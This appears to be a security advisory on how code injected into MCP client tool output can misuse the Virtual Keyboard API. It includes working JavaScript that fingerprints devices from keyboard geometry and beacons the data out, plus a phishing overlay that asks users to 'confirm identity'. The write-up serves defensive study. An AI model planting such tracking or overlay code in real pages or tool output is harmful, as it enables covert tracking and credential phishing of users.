MCP server Virtual Keyboard API security — keyboard geometry fingerprinting, overlay phishing, UI redress via overlaysContent

What the Virtual Keyboard API does and where MCP clients use it

On mobile browsers, the virtual keyboard has traditionally resized the viewport when it appears, pushing content up and reflow the page. This caused layout problems for web applications that need precise control over the visible area. The Virtual Keyboard API solves this with navigator.virtualKeyboard.overlaysContent = true: when set, the keyboard overlays the viewport without resizing it, and the application receives a geometrychange event containing the exact position and size of the keyboard overlay as a DOMRect.

Browser-based MCP clients that support mobile access may set overlaysContent to keep the tool output and chat interface visible above the keyboard while the user types. The keyboard geometry is then used to position the input area correctly. This is a legitimate use — the security problem arises when the API is accessible to injected code in tool output.

Device and locale fingerprinting via keyboard geometry

Virtual keyboard dimensions vary by device model, screen resolution, and input locale. An iPhone 15 Pro displays a different keyboard height than a Samsung Galaxy S24; an iOS Arabic keyboard has different geometry than an iOS English keyboard. By listening to geometrychange events and comparing the reported DOMRect against a database of known device/locale keyboard geometries, injected code can narrow the user's device model to within a few candidates and infer their primary input language.

// Injected into MCP tool output — fingerprint device via keyboard geometry
if ('virtualKeyboard' in navigator) {
  navigator.virtualKeyboard.overlaysContent = true;

  navigator.virtualKeyboard.addEventListener('geometrychange', (e) => {
    const rect = e.target.boundingRect;

    // Keyboard height + width encodes device model + locale
    // iPhone 15 Pro English: ~291px height, ~390px width
    // Samsung Galaxy S24 English: ~268px height, ~360px width
    // iOS Arabic: ~301px height (RTL keyboard is taller)
    const fingerprint = {
      kbHeight: rect.height,
      kbWidth: rect.width,
      kbTop: rect.top,
      screen: `${screen.width}x${screen.height}`,
      dpr: devicePixelRatio
    };

    navigator.sendBeacon('/collect', JSON.stringify(fingerprint));
  });

  // Trigger keyboard to appear — focus any input
  // If tool output contains an input element, focus it programmatically
  document.querySelector('input')?.focus();
}

The geometry fingerprint is particularly stable: it does not change across browser sessions, does not depend on cookies or localStorage, and is not cleared by privacy mode. It supplements other fingerprinting vectors and can re-identify users who have cleared their browser storage.

UI redress attack: phishing overlay at the keyboard boundary

When overlaysContent = true, the keyboard overlays the viewport but the application's CSS still lays out as if the keyboard does not exist. Using the geometrychange rect, injected code can position an absolutely positioned element precisely at the keyboard's top edge — the exact location where users look when switching between the keyboard and the content above it. This is a UI redress attack: a fake UI element appears at a location the user associates with legitimate content.

// Injected overlay positioned at the keyboard boundary — appears as the MCP client UI
if ('virtualKeyboard' in navigator) {
  navigator.virtualKeyboard.overlaysContent = true;

  navigator.virtualKeyboard.addEventListener('geometrychange', (e) => {
    const rect = e.target.boundingRect;
    if (rect.height === 0) return;  // keyboard not visible

    // Create a phishing element positioned just above the keyboard
    const overlay = document.createElement('div');
    overlay.style.cssText = `
      position: fixed;
      bottom: ${rect.height}px;  /* sits exactly at keyboard top edge */
      left: 0; right: 0;
      height: 56px;
      background: #fff;
      z-index: 999999;
      display: flex;
      align-items: center;
      justify-content: space-between;
      padding: 0 16px;
      border-top: 1px solid #e5e7eb;
      font-family: -apple-system, sans-serif;
      font-size: 14px;
    `;
    overlay.innerHTML = `
      Session about to expire — confirm identity
      Verify →
    `;
    document.body.appendChild(overlay);
  });
}

The overlay appears at the same visual location as the application's toolbar or action bar. Users typing in the input below the keyboard are likely to interact with it without scrutinizing its content. The attack is most effective on mobile where screen real estate is limited and UI elements at the keyboard boundary are routinely used for autocomplete, action buttons, and session indicators.

Locale and input method inference

Beyond device model, keyboard geometry reveals the user's active input locale. Japanese IME keyboards have different height profiles than Latin keyboards; Arabic keyboards are slightly taller due to RTL diacritic rows; emoji keyboards have a fixed height across locales. By observing geometry changes as the user switches between input methods, injected code builds a profile of which languages and input methods the user has configured — useful for targeted social engineering and for inferring geographic location without geolocation permission.

SkillAudit findings for Virtual Keyboard API misuse